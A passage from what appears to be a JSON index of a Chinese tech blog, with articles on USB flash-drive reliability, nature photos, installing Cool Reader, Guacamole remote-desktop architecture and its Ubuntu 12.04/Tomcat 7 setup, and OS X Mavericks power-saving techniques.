平台為範例，介紹如何安裝與使用 Glances 這個工具。\u003c/p\u003e","title":"Glances 命令列系統監控工具"},{"content":"這裡討論一般的隨身碟該如何使用，才能使隨身碟中資料損毀的風險降到最低，讓隨身碟中的重要資料更有保障。\n隨身碟是現在幾乎每個人都會使用的科技產品，雖然他的價格低廉，但是隨身碟一旦損毀，儲存在裡面的資料有就會跟著消失，這是很令人頭痛的問題。\n以目前市面上的 USB 隨身碟來說，都是屬於快閃記憶體（flash memory），這種記憶體在讀取與寫入的次數上有一定的限制，依據所使用儲存技術不同，壽命也不一樣，目前的快閃記憶體儲存技術分為兩種：SLC（Single-Level Cell，單層式儲存技術）與MLC（Multi-Level Cell，多層式儲存技術），下面這個表是兩種技術的比較：\nSLC MLC 儲存位元與狀態 一個記憶單元只儲存一個位元（bit） 一個記憶單元可儲存兩個位元（bit）以上 資料儲存量（Page/Block） 較小（2KB/128KB） 較大（512B/32KB 或 2KB/256KB） 資料寫入速度 較快（9MB/s） 較慢（1.5MB/s） 使用壽命 10 萬次讀寫 1 萬次讀寫 生產成本 高 低（約為 SLC 的四分之一） 所以其實隨身碟正常來說，讀寫次數到達一定的量之後就可能會壞掉，這是目前硬體技術上的限制，是無法避免的，但是我們還是可以做一些其他的保護措施，讓資料損毀的風險降低。\n基本措施 一般常使用的檔案系統（例如 FAT32 或 NTFS 等）都只能單純的儲存檔案而已，沒有任何資料驗證的功能，如果使用這樣的檔案系統儲存很重要的檔案時，就要自己做好備份的工作，必要時使用 checksum（例如 MD5/SHA1 雜湊）來驗證資料的正確性與完整性，若是資料真的出問題，再使用備份檔案來回覆。\n另一方面，不管使用哪一種檔案系統，當你在拔除 USB 隨身碟之前，請先在電腦中選擇退出隨身碟，當電腦顯示可以拔除的訊息之後，再將隨身碟拔除，這樣可以確保在拔除隨身碟時，所有檔案的讀取與寫入都已經完成了，也讓緩衝器（buffer）中的資料可以完全寫入磁碟。如果你沒有正常退出就將隨身碟拔除，就有可能會造成檔案損毀。\n聽起來很消極，不過一般來說，你能夠做的事情大概就只有這些了。然而，如果你是 Linux 的重度使用者，而且又對於資料的正確性與完整性非常在意，那你可能可以使用一些特別的檔案系統。\nZFS 檔案系統 上面提到，一般我們所使用的檔案系統都很陽春，沒有資料驗證與回覆的功能，檔案壞了就是壞了，如果你想要一個比較強韌（robust）的檔案系統，那可以考慮 ZFS。\nZFS 是一個比較強韌的檔案系統，它支援自動檢查資料正確性的功能（zfs scrub），透過 checksum 或是 SHA-256 的方式，在配合資料儲存的 redundancy 機制，如果資料經過驗證是正確的，則即可正常讀取，但如果發現資料出問題時，它就會自動使用備份檔案回覆原本的資料，這樣可以確保資料的正確性與完整性。\n雖然 ZFS 的功能強大，但是他的相容性就比一般的檔案系統低很多，只能在 Linux 系統中使用，若在 Windows 與 Mac OS X 中使用就有些問題。\n除了相容性問題之外，ZFS 也會影響隨身碟的壽命，因為 ZFS 用在一般的快閃記憶體隨身碟上的時候，除了檔案本身之外，它還會額外儲存一些資訊（如 checksum 等），這會造成隨身碟讀寫的資料量增加，所以也會直接影響隨身碟的壽命。另外因為他在檔案存取時都會計算 checksum，在存取效能上也會造成一定的影響。\nZFS 可能只是用於少數特殊需求的人，對於一般人而言，隨身碟的效能通常是第一優先考量，在這樣的情況下就不是很適合使用 ZFS，直接使用一般的檔案系統（如 exFAT 等）就可以了，而且這樣相容性也會比較好。\n耗損平均技術（Wear Leveling） 有沒有哪一種隨身碟是比較不會壞掉的呢？\n上面我們說到 SLC 的快閃記憶體會比 MLC 耐用，除此之外，還有一個技術也會影響隨身碟的壽命，那就是耗損平均技術（wear leveling）。\n基本上 USB 隨身碟中最常看到用於延長使用壽命的技術就是耗損平均技術，它是快閃記憶體（NAND flash）上的一種抹平技術。\n快閃記憶體的區塊有抺寫次數的限制，針對同一個單一區塊，進行重複抺除、寫入，將會造成讀取速度變慢，甚至損壞而無法使用，而耗損平均技術目的在於平均使用快閃記憶體中的每個儲存區塊，以避免某些「特定」儲存區塊因過度使用而形成壞區塊，透過這樣的技術可以延長快閃記憶體的使用壽命。\n在有些購物網站中會列出支援耗損平均技術的隨身碟，如果想選擇這類的隨身碟，可以透過這些網站來找尋適合自己使用的隨身碟。\n總結 以現在的技術而言，其實 USB 隨身碟很難永久使用，目前所有的 USB 隨身碟都有讀寫次數的限制，也就是說當讀寫次數累積達到它的上限時，它就差不多會壞掉了，最根本的方式就是定期備份隨身碟中的資料，並配合檢查碼來驗證資料的正確性。\n當然如果要在 USB 隨身碟中使用有資料驗證與回覆功能的檔案系統也是可行的方案，但是這樣的檔案系統通常無法在 Linux 系統以外的作業系統中使用，而且這樣的檔案系統也會增加隨身碟本身的讀寫次數，減低隨身碟的壽命，在存取效能上也會比一般的檔案系統差。\n這裡所敘述的各種方式，都各有利弊，你必須在可攜性、資料完整性與存取效能之間做考量，選擇適合自己的方式。\n參考資料 superuser ","permalink":"https://blog.gtwang.org/tips/usb-stick-how-to-minimize-risk-of-data-corruption-or-data-loss/","summary":"\u003cp\u003e這裡討論一般的隨身碟該如何使用，才能使隨身碟中資料損毀的風險降到最低，讓隨身碟中的重要資料更有保障。\u003c/p\u003e\n\u003cp\u003e隨身碟是現在幾乎每個人都會使用的科技產品，雖然他的價格低廉，但是隨身碟一旦損毀，儲存在裡面的資料有就會跟著消失，這是很令人頭痛的問題。\u003c/p\u003e","title":"如何讓 USB 隨身碟資料損毀的風險降到最低？"},{"content":"以下這些照片都是真實的場景，沒有任何電腦特效或是影像處理，你可能很難以相信，不過他是真的。\n這是火山噴發時，閃電剛好打下來。\n這是在加拿大的亞伯拉罕湖（Abraham Lake），圖片中一顆一顆的是湖面結冰時水中的氣泡。\n這是墨西哥（Mexico）的 Ik-Kil Cenote 地底景象。\n這是墨西哥的 Naica 地底礦區，這裡距離地表有 290 公尺。\n馬爾地夫的 Vaddhoo 海岸，照片中水裡的亮光是因為水中的微生物受到氧氣的干擾所導致的。\n烏尤尼鹽沼（Salar de Uyuni），是世界上最大的鹽沼。照片中的不是水，而是鹽殼（salt crust）。\n莫斯科，這個景象是因為附近冰晶造成光影的反射。\n美國俄勒岡州的海岸。\n亞利桑那州的砂岩地層。\n巴基斯坦，包滿蜘蛛網的樹。\n參考資料 BuzzFeed ","permalink":"https://blog.gtwang.org/funny/craziest-things-in-nature-you-wont-believe-actually-exist/","summary":"\u003cp\u003e以下這些照片都是真實的場景，沒有任何電腦特效或是影像處理，你可能很難以相信，不過他是真的。\u003c/p\u003e\n\u003cp\u003e這是火山噴發時，閃電剛好打下來。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"the-15-craziest-things-in-nature-you-wont-believe-actually-exist-2\" loading=\"lazy\" src=\"/funny/craziest-things-in-nature-you-wont-believe-actually-exist/the-15-craziest-things-in-nature-you-wont-believe-actually-exist-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這是在加拿大的亞伯拉罕湖（Abraham Lake），圖片中一顆一顆的是湖面結冰時水中的氣泡。\u003c/p\u003e","title":"幾個難以置信的自然景象：這些都是真實的照片"},{"content":"Cool Reader 是一個開放原始碼的免費電子書閱讀軟體，支援各種常見的電子書格式，在 Windows、Linux 與 Android 等平台中皆可使用。\n現今的電子書格式雖然不算多，但是除了最通用的 PDF 與一些基本的 TXT 或 DOC 格式之外，還有像 EPUB、PDB 與 MOBI 等這些需要特殊的閱讀軟體才能閱讀的格式，如果電腦中沒有適當的閱讀器，要閱讀這些電子書就會是個大問題。\nCool Reader 簡介 Cool Reader 是一個以 XML/CSS 為基礎所發展的電子書閱讀器，它非常輕巧、快速而且跨平台，除了 Windows 與 Linux 作業系統之外，也支援 Android 手機平台與一些使用 e-ink 技術的電子書閱讀設備。而其支援的電子書格式有：FB2、TXT、RTF、DOC、TCR、HTML、EPUB、CHM、PDB、MOBI。\n以下是 Cool Reader 的功能：\n可選擇單頁（pages）或連續（scroll）閱讀模式。 目錄功能。 書籤功能。 文字搜尋功能。 完整的 FB2 格式支援：styles、tables、footnotes。 額外的字型支援（.ttf） 可讀取 ZIP 壓縮檔中的電子書。 自動將 TXT 檔重新排版（自動偵測標題等）。 可以透過自訂的 CSS 設定更改書籍閱讀時的配色。 在 Ubuntu Linux 中安裝與使用 Cool Reader 3 在 Ubuntu Linux 中若要安裝 Cool Reader 3，可以使用 PPA 的方式：\nsudo add-apt-repository ppa:vovansrnd/coolreader sudo apt-get update sudo apt-get install cr3 這樣就安裝完成了。\n如果你不想加入這個 PPA repository，也可以直接下載 deb 安裝檔來安裝，如果是 32 位元的版本，就下載 cr3_3.0.59.2-1_i386.deb，若是 64 位元的版本，就下載 cr3_3.0.59.2-1_amd64.deb，下載下來之後，再用 dpkg 安裝：\nsudo dpkg -i cr3_3.0.59.2-1_amd64.deb 如果在安裝上出現相依性問題，可以使用 apt-get 自動修正：\nsudo apt-get -f install 安裝好之後，就可以在 Ubuntu 的選單中搜尋 coolreader，就會看到 CoolReader3 的啟動圖示：\n開啟之後，會看到 CoolReader 3 的主視窗，\n這時候就可以開啟自己的電子書來閱讀了，我們這裡開啟一般常見的 EPUB 來看看效果如何：\n看起來效果還算不錯，字型大小是可以自行調整的，所以閱讀文字應該不是問題，但有些時候書中的圖片會被放的太大，然後因為圖片的解析度不夠，就會變得很醜，類似這樣：\n不曉得這是 EPUB 檔本身的問題還是 CoolReader 的問題。另外有些 EPUB 電子書的行距會過大，看起來也會很醜，就像這樣：\n不過不管如何，至少都還可以看啦，既然是免費的，沒辦法要求十全十美。\n下面這個是目錄功能，這個應該是沒有什麼問題：\nCool Reader 中可以調整的選項很多，像是字型、前景顏色、背景顏色、行距等等，對於喜歡自訂參數的人是還不錯，不過我個人是很懶得去調它。\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-install-cool-reader-3/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/buggins/coolreader\"\u003eCool Reader\u003c/a\u003e 是一個開放原始碼的免費電子書閱讀軟體，支援各種常見的電子書格式，在 Windows、Linux 與 Android 等平台中皆可使用。\u003c/p\u003e\n\u003cp\u003e現今的電子書格式雖然不算多，但是除了最通用的 PDF 與一些基本的 TXT 或 DOC 格式之外，還有像 EPUB、PDB 與 MOBI 等這些需要特殊的閱讀軟體才能閱讀的格式，如果電腦中沒有適當的閱讀器，要閱讀這些電子書就會是個大問題。\u003c/p\u003e","title":"在 Ubuntu Linux 中安裝與使用 Cool Reader 3 電子書閱讀軟體（支援 EPUB、PDB、CHM 與 MOBI 等格式）"},{"content":"Guacamole 是一個以 HTML5 為基礎的遠端桌面 gateway，讓你只需要使用瀏覽器就可以操控遠端的電腦，功能就像傳統的 VNC 與 RDP 一樣。\nGuacamole 是一個以 HTML5 為基礎的網頁應用程式（web application），使用者可以透過這個網頁應用程式並配合遠端桌面的傳輸協定（例如 VNC 或 RDP）來操控遠端的電腦。\n除了網頁應用程式之外，Guacamole 也是一個專案名稱，這個專案的內容就是發展一套 API 提供給 Guacamole 網頁應用程式使用，而這個 API 亦可用於其他類似的應用程式或服務。\n網頁應用程式（Web Application） 一般談到 Guacamole 一詞，通常是指以 Guacamole API 為基礎所發展出來的網頁應用程式，而這個網頁應用程式事實上是遠端操控系統中的一環，Guacamole 配合整個系統即可建立一個支援各種協定的遠端桌面 gateway。\n由於 Guacamole 只使用到 HTML5 與一些其他的標準，讓 Guacamole 在 client 端只需要新的瀏覽器，即可透過網路操控遠端電腦的桌面。\n在以前 Guacamole 是一個單純的 HTML5 VNC client，而在更之前的版本，它還只是一個由 JavaScript 寫成的 telnet client，稱為 RealMint，但現在的 Guacamole 已經是完全不同的東西了，目前它的架構大幅成長後，已經涵蓋各種遠端桌面的協定，亦可同時操控多台電腦，非常實用，甚至 Guacamole 的開發者也是使用它來在遠端的電腦做開發。\nGuacamole API Guacamole 專案將其所開發出來的 API 用於網頁應用程式上，也就是上述的 Guacamole 網頁應用程式，雖然這個應用程式是 Guacamole 最大的賣點之一，但是這個專案所發展的 API 也不容小覷，尤其是要將 HTML5 遠端操控電腦的功能，整合至現有的應用程式或系統架構時，這樣的 API 會是一個非常有用的工具。\nGuacamole API 提供了一個以 JavaScript 為基礎的通道（並非使用 WebSocket），讓你可以很方便且有效率的做文字資料的串流（streaming），另外它也實做了一個支援 Guacamole 傳輸協定的 client，這個 client 可以接收經過通道傳輸的 Guacamole 串流資料，然後將遠端電腦的畫面呈現在瀏覽器中。\n另外，這個 API 也提供跨瀏覽器的滑鼠與鍵盤事件（events）、螢幕鍵盤與支援硬體加速 compositing 的 synchronized nestable layers。\n一般有 HTML5 遠端桌面需求的專案，可以直接使用 Guacamole API 所提供的功能，這樣可以省去非常多開發上的時間。\n實作與架構 事實上 Guacamole 並不是一個單純的網頁應用程式，它是由好幾個部份組合而成的架構，許多功能都是由一些比較低階的組件所提供的。\nGuacamole 通訊協定（protocol） Guacamole 網頁應用程式本身並不支援任何遠端桌面的通訊協定，當然也不支援 VNC 或 RDP 等，它本身只有支援自己的 Guacamole 傳輸協定，這個協定包含遠端畫面的繪製（remote display rendering）與事件（event）的傳遞，然而一個包含這兩種功能的協定事實上就跟一般的遠端桌面協定有同等的功能，只是 Guacamole 協定在設計理念上跟一般的遠端桌面協定有些不同，Guacamole 的目標是希望可以相容於各種桌面環境。\nGuacamole 中實作了各種遠端桌面協定中的功能，並且加入一些特定的遠端桌面協定支援（例如 RDP 與 VNC 等），而一般的遠端桌面協定與 Guacamole 之間則是透過一個 middle layer 來轉換，實作這個轉換的程式實際上就是撰寫一個遠端桌面的 client，只不過將原本顯示在本機的畫面透過 Guacamole 協定傳送到遠端。\nguacd guacd 就是上述 middle layer 中負責轉換的程式，這個程式是 Guacamole 最主要的核心，它可以動態載入各種不同的遠端桌面協定支援（也稱為 client plugin），並且使用這些協定依照網頁應用程式所傳回的指令，連線到遠端被控制的電腦。\n在技術層面上，guacd 是一個伴隨 Guacamole 的 daemon process，它會在背景執行並且傾聽來自於網頁應用程式的 TCP 連線。這個 guacd 不直接支援任何遠端桌面協定，而是只有支援基本的 Guacamole 協定，在需要的時候才去載入指定的遠端桌面協定 client plugin。\n當 guacd 載入 client plugin 之後，client plugin 會自己獨立執行，並且全權控制所有與網頁應用程式之間的連線，直到 client plugin 執行結束為止。\nguacd 與所有的 client plugins 都會需要一個共同的 libguac 函式庫，這個函式庫可以讓程式開發者更容易使用 Guacamole 傳輸協定。\n網頁應用程式（Web Application） 在 Guacamole 架構中跟使用者最接近的就是網頁應用程式的部份，就像上面所提過的，這個網頁應用程式並不包含任何遠端桌面協定的支援，它只是一個前端的使用者介面，實作基本的圖形介面與使用者認證而已，真正的遠端桌面操控都是靠著 guacd 來處理。\n目前在伺服器端的網頁應用程式是以 Java 來實作，但是其實也可以使用其他語言，畢竟 Guacamole 本質上是一個 API，所以它也希望可以支援不同的語言。\n","permalink":"https://blog.gtwang.org/linux/guacamole-vnc-rdp/","summary":"\u003cp\u003e\u003ca href=\"https://guacamole.apache.org/\"\u003eGuacamole\u003c/a\u003e 是一個以 HTML5 為基礎的遠端桌面 gateway，讓你只需要使用瀏覽器就可以操控遠端的電腦，功能就像傳統的 VNC 與 RDP 一樣。\u003c/p\u003e\n\u003cp\u003eGuacamole 是一個以 HTML5 為基礎的網頁應用程式（web application），使用者可以透過這個網頁應用程式並配合遠端桌面的傳輸協定（例如 VNC 或 RDP）來操控遠端的電腦。\u003c/p\u003e","title":"Guacamole：透過瀏覽器以網頁介面遠端操控電腦，支援 VNC 與 RDP 協定"},{"content":"在今年的 Worldwide Developer Conference (WWDC) keynote 中，蘋果（Apple）發表了他們在筆記型電腦電池續航力上的改進，像新的 13 吋 Macbook Air 一次充電的續航力從原本的 7 小時增加為 12 小時，假設蘋果的這個數字沒有灌水，那這樣的大改進是如何辦到的呢？\n一個大家都想像得到的部分就是新的 Intel Haswell CPU，這顆 CPU 對於節能有一定的貢獻，據 Intel 的說法 Haswell 是從以前到現在能源效率上躍進最大的一顆 CPU，而其內部的晶片架構也是第一次專門為輕薄型的筆記型電腦與平板電腦所設計的，所以其時脈與用電量都比較低。\n除了 CPU 的改進之外，OS X 10.9 Mavericks 的能源效率改進也佔了很重要的因素，一般在軟體上要讓電腦省電、電池可以撐得更久，通常就是降低電腦的工作效率，但是蘋果宣稱 Mavericks 所使用的新技術不但可以在不影響計算效能的情況下改善續航力，甚至在某些情況下，電腦的效能還會更好！以下是三個主要的技術。\n記憶體壓縮（Compressed Memory） Mavericks 所使用的壓縮方式跟以往不同，他會在系統的記憶體快用完時，將不常用的資料自動壓縮，而壓縮完之後的大小只有原來的一半左右，如果之後系統要用到這些資料時，它會自動解壓縮回復成原來的資料。\n記憶體的壓縮可以讓更多的資料儲存在記憶體中，藉由 WKdm 快速壓縮演算法的幫助，資料在記憶體中的壓縮與解壓縮，會比儲存至一般硬碟或是固態硬碟還要快，所以這樣系統效能可以提升，又不需要讓硬碟進行讀取或寫入的動作，進而降低硬碟使用率、延長硬碟壽命，最重要的是：會比較省電。\n當然要進行資料的壓縮與解壓縮會使用到 CPU，這會造成而外的能源消耗，但蘋果宣稱 CPU 所使用微量計算的能源消耗，比起硬碟的的耗電量來說是小很多的，所以整體而言還是會比較好。\n應用程式自動休眠（App Nap） 應用程式自動休眠（App Nap）的概念很簡單，就是讓沒有在前景執行的應用程式休息，以目前的 Safari 來說，他如果放在背景執行時還是有可能吃掉 15% 的 CPU 資源，這對於系統效能與能源效率來說是一個很大的浪費。\n而現在藉由應用程式自動休眠的功能，可以將那在背景執行的程式切換為一種省電模式，控制這些程式的 CPU、網路、硬碟存取的使用率。\n這個 App Nap 功能會在應用程式放到背景時（也就是沒有顯示在螢幕上、也沒有播放音樂時）自動啓動，啟動 App Nap 之後的影響包含以下三項：\nTimer throttling：降低影用程式的 timer 頻率，這樣可以使 CPU 的 idle 時間增加。 I/O throttling：降低磁碟與網路的使用優先權（priority），這樣可以使背景程式的 I/O 明顯降低，另外也可以避免背景程式跟前景程式搶 I/O 資源。 Priority reduction：降低 UNIX process 的優先權，讓 CPU 計算資源使用率降低。 合併應用程式 Timer（Timer Coalescing） 這個部分比較有趣，在系統中通常有很多的背景程式，每個 OS X 的程式會設定一個 timer，每隔一段時間就會使用 CPU、磁碟或網路處理一些事情，像是檢查 DHCP 租約、軟體更新或是啓動鬧鈴等等，大部分的事情都是使用者所看不見的。\n因為每個程式的 timer 都是獨立的，所以每個程式在處理事情的時間點都會不同，在電腦 idle 時，只要有程式的 timer 被驅動，系統就要離開休息的狀態（也就是省電的狀態），處理這些事情，整個過程就會像這樣：\n所以即便電腦完全沒有在使用，它還是會因為這些 timer 的因素導致無法長期進入省電模式。\n如果要讓電腦省電，就是要想辦法讓電腦長時間處於省電的狀態，而解決方案就是合併應用程式的 timer，也就是將一小段時間內的所有 timer 搜集起來，一起執行，透過這樣的方式可以讓電腦有更多的休息時間，休息長一點之後再一次處理所有的工作，這樣的狀況就會像這樣：\n這樣合併 timer 的方式會造成程式的 timer 執行的時間點稍微延後，但其實影響不大，因為蘋果本來就沒有保證 timer 觸發時會馬上執行。而這樣的機制可以有效的讓電腦處於真正 idle 狀態的時間延長，當然也會更省電。\n參考資料 arstechnica ","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-109-mavericks/","summary":"\u003cp\u003e在今年的 Worldwide Developer Conference (WWDC) keynote 中，蘋果（Apple）發表了他們在筆記型電腦電池續航力上的改進，像新的 13 吋 Macbook Air 一次充電的續航力從原本的 7 小時增加為 12 小時，假設蘋果的這個數字沒有灌水，那這樣的大改進是如何辦到的呢？\u003c/p\u003e","title":"Mac OS X 10.9 Mavericks 的省電機制：兼顧計算效能與電池續航力的方法"},{"content":"這裡我們以 Ubuntu Linux 12.04 的環境示範如何安裝 Guacamole，在 Guacamole 官方的教學中所使用的 Tomcat 伺服器版本為 6，而這裡我們改用 Tomcat 7，安裝上有些小差異。\n以下是安裝步驟教學。\nStep 1\n安裝 Tomcat 7：\nsudo apt-get install tomcat7 tomcat7-admin tomcat7-docs tomcat7-examples tomcat7-user libservlet3.0-java-doc libservlet3.0-java 其實如果沒有特別需求，只要安裝 tomcat7 這個套件就可以了，我個人是喜歡把相關的套件一次全部安裝好，免得以後要用的時候還要再裝一次。\nStep 2\n從 Guacamole 官方網站下載 Guacamole 安裝檔 guacamole-0.8.1-ubuntu-12.04-amd64.tar.gz：\nwget http://downloads.sourceforge.net/project/guacamole/current/binary/ubuntu-12.04-amd64/guacamole-0.8.1-ubuntu-12.04-amd64.tar.g Step 3\n解壓縮：\ntar zxvf guacamole-0.8.1-ubuntu-12.04-amd64.tar.gz cd guacamole-0.8.1-ubuntu-12.04-amd64/ 安裝 Guacamole，根據官方的說明在安裝前先要安裝一些相依性套件：\nsudo apt-get install libvncserver0 libfreerdp1 libvorbisenc2 libfreerdp-plugins-standard 接著再安裝 Guacamole 的套件：\nsudo dpkg -i guacamole_0.8.1-1_all.deb guacd_0.7.0-2_amd64.deb libguac-client-rdp0_0.7.4-1_amd64.deb libguac-client-ssh0_0.8.0-1_amd64.deb libguac-client-vnc0_0.7.2-1_amd64.deb libguac4_0.7.0-1_amd64.deb 這裡在安裝時跳過 guacamole-tomcat_0.8.1-1_all.deb 這個檔，因為他預設是使用 Tomcat 6，我們要改用 Tomcat 7，所以這個部分不裝。\n如果忘記先安裝相依性套件，就會出現一些相容性問題：\nSelecting previously unselected package guacamole. (Reading database \u0026#8230; 347057 files and directories currently installed.) Unpacking guacamole (from guacamole_0.8.1-1_all.deb) \u0026#8230; Selecting previously unselected package guacd. Unpacking guacd (from guacd_0.7.0-2_amd64.deb) \u0026#8230; Selecting previously unselected package libguac-client-rdp0. Unpacking libguac-client-rdp0 (from libguac-client-rdp0_0.7.4-1_amd64.deb) \u0026#8230; Selecting previously unselected package libguac-client-ssh0. Unpacking libguac-client-ssh0 (from libguac-client-ssh0_0.8.0-1_amd64.deb) \u0026#8230; Selecting previously unselected package libguac-client-vnc0. Unpacking libguac-client-vnc0 (from libguac-client-vnc0_0.7.2-1_amd64.deb) \u0026#8230; Selecting previously unselected package libguac4. Unpacking libguac4 (from libguac4_0.7.0-1_amd64.deb) \u0026#8230; dpkg: dependency problems prevent configuration of libguac-client-rdp0: libguac-client-rdp0 depends on libfreerdp1 (\u003e= 1.0.1); however: Package libfreerdp1 is not installed. dpkg: error processing libguac-client-rdp0 (--install): dependency problems -- leaving unconfigured dpkg: dependency problems prevent configuration of libguac-client-ssh0: libguac-client-ssh0 depends on libssh-4 (\u003e= 0.5.0); however: Package libssh-4 is not installed. dpkg: error processing libguac-client-ssh0 (--install): dependency problems -- leaving unconfigured dpkg: dependency problems prevent configuration of libguac-client-vnc0: libguac-client-vnc0 depends on libvncserver0; however: Package libvncserver0 is not installed. dpkg: error processing libguac-client-vnc0 (--install): dependency problems -- leaving unconfigured Setting up libguac4 (0.7.0-1) \u0026#8230; Setting up guacd (0.7.0-2) \u0026#8230; guacd[1401]: INFO: Guacamole proxy daemon (guacd) version 0.7.0 guacd[1401]: INFO: Unable to bind socket to host ::1, port 4822: Address family not supported by protocol guacd[1401]: INFO: Successfully bound socket to host 127.0.0.1, port 4822 guacd[1401]: INFO: Exiting and passing control to PID 1403 guacd[1403]: INFO: Exiting and passing control to PID 1404 Processing triggers for man-db \u0026#8230; Processing triggers for ureadahead \u0026#8230; Setting up guacamole (0.8.1-1) \u0026#8230; Processing triggers for libc-bin \u0026#8230; ldconfig deferred processing now taking place Errors were encountered while processing: libguac-client-rdp0 libguac-client-ssh0 libguac-client-vnc0 萬一碰到類似的問題時，請注意看每一行訊息，尤其是 error 的部分，找出缺少的套件，自己補裝：\nsudo apt-get install libfreerdp1 libssh-4 libvncserver0 補完缺少的套件，然後再裝一次：\nsudo dpkg -i guacamole_0.8.1-1_all.deb guacd_0.7.0-2_amd64.deb libguac-client-rdp0_0.7.4-1_amd64.deb libguac-client-ssh0_0.8.0-1_amd64.deb libguac-client-vnc0_0.7.2-1_amd64.deb libguac4_0.7.0-1_amd64.deb 像這樣的狀況在安裝一般的軟體時也時常會出現，基本的解決方式就是這樣。\nStep 4\n設定 /etc/guacamole/user-mapping.xml，加入使用者的設定：\n\u0026lt;authorize username=\u0026#34;seal\u0026#34; password=\u0026#34;seal1234\u0026#34;\u0026gt; \u0026lt;protocol\u0026gt;vnc\u0026lt;/protocol\u0026gt; \u0026lt;param name=\u0026#34;hostname\u0026#34;\u0026gt;192.168.0.1\u0026lt;/param\u0026gt; \u0026lt;param name=\u0026#34;port\u0026#34;\u0026gt;5905\u0026lt;/param\u0026gt; \u0026lt;param name=\u0026#34;password\u0026#34;\u0026gt;VNCPASS\u0026lt;/param\u0026gt; \u0026lt;/authorize\u0026gt; 第一行的 authorize 標簽中的 username 與 password 是設定網頁登入時的帳號與密碼。第二行的 protocol 標籤是設定傳輸協定，目前可以用的傳輸協定有 vnc、rdp 與 ssh。第三行至第五行就是設定 VNC 伺服器的資訊：伺服器位址（hostname）、連接埠（port）與密碼（password）。\nStep 5\n將 Guacamole 部署至 Tomcat 7 伺服器中，部署的方式就是建立兩個連結檔：一個是網頁應用程式的 WAR 檔，另外一個則是設定檔：\nsudo ln -s /var/lib/guacamole/guacamole.war /var/lib/tomcat7/webapps sudo ln -s /etc/guacamole/guacamole.properties /var/lib/tomcat7/common/classes Step 6\n將 tomcat7 這個 user 加入 guacamole-web 群組，編輯 /etc/group，找到 guacamole-web:x:998: 這一行，在這一行的最後加入 guacamole-web，就像這樣：\nguacamole-web:x:998:tomcat7 要將 tomcat7 加入 guacamole-web 群組主要是因為 Tomcat 7 在執行時要讀取 /etc/guacamole/user-mapping.xml 這個使用者設定檔，而這個檔案因為安全性的因素，除了 root 之外，就只有 guacamole-web 群組可以讀取，如果忘記做這一步的話，在使用者登入時就會出現無法登入的情況，Tomcat 的記錄檔也會有類似下面這種錯誤訊息：\n嚴重的: Error retrieving context for user \"seal\". net.sourceforge.guacamole.GuacamoleException: Error reading basic user mapping file. at net.sourceforge.guacamole.net.basic.BasicFileAuthenticationProvider.getUserMapping(BasicFileAuthenticationProvider.java:129) at net.sourceforge.guacamole.net.basic.BasicFileAuthenticationProvider.getAuthorizedConfigurations(BasicFileAuthenticationProvider.java:148) at net.sourceforge.guacamole.net.auth.simple.SimpleAuthenticationProvider.getUserContext(SimpleAuthenticationProvider.java:85) at net.sourceforge.guacamole.net.basic.AuthenticatingHttpServlet.service(AuthenticatingHttpServlet.java:262) at javax.servlet.http.HttpServlet.service(HttpServlet.java:722) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:224) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:169) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:168) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:98) at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:927) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:118) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:407) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:987) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:579) at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:309) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1146) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:679) Caused by: java.io.FileNotFoundException: /etc/guacamole/user-mapping.xml (Permission denied) at java.io.FileInputStream.open(Native Method) at java.io.FileInputStream.\u0026lt;init\u0026gt;(FileInputStream.java:137) at net.sourceforge.guacamole.net.basic.BasicFileAuthenticationProvider.getUserMapping(BasicFileAuthenticationProvider.java:119) ... 20 more Step 7\n重新啓動 Tomcat 7：\nservice tomcat7 restart Step 8\n開啟瀏覽器，網址為 http://host:8080/guacamole/，其中 host 就是伺服器的 IP 位址：\n登入後，在「All Connections」中可以選擇要開啓的連線。\n開啟剛剛設定好的 VNC 連線。\n這樣就可以在不安裝任何軟體的狀況下，操控遠端的電腦了。\n參考資料 ADMIN Tecmint ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-1204-guacamole-tomcat-7/","summary":"\u003cp\u003e這裡我們以 Ubuntu Linux 12.04 的環境示範如何安裝 \u003ca href=\"https://guacamole.apache.org/\"\u003eGuacamole\u003c/a\u003e，在 Guacamole 官方的教學中所使用的 Tomcat 伺服器版本為 6，而這裡我們改用 Tomcat 7，安裝上有些小差異。\u003c/p\u003e\n\u003cp\u003e以下是安裝步驟教學。\u003c/p\u003e\n\u003cp\u003e\u003cspan class=\"block-label\"\u003eStep 1\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e安裝 Tomcat 7：\u003c/p\u003e","title":"在 Ubuntu Linux 12.04 安裝 Guacamole 網頁遠端桌面教學（使用 Tomcat 7）"},{"content":"MathJax 這個 JavaScript 工具可以讓你直接使用 LaTeX、MathML 或 AsciiMath 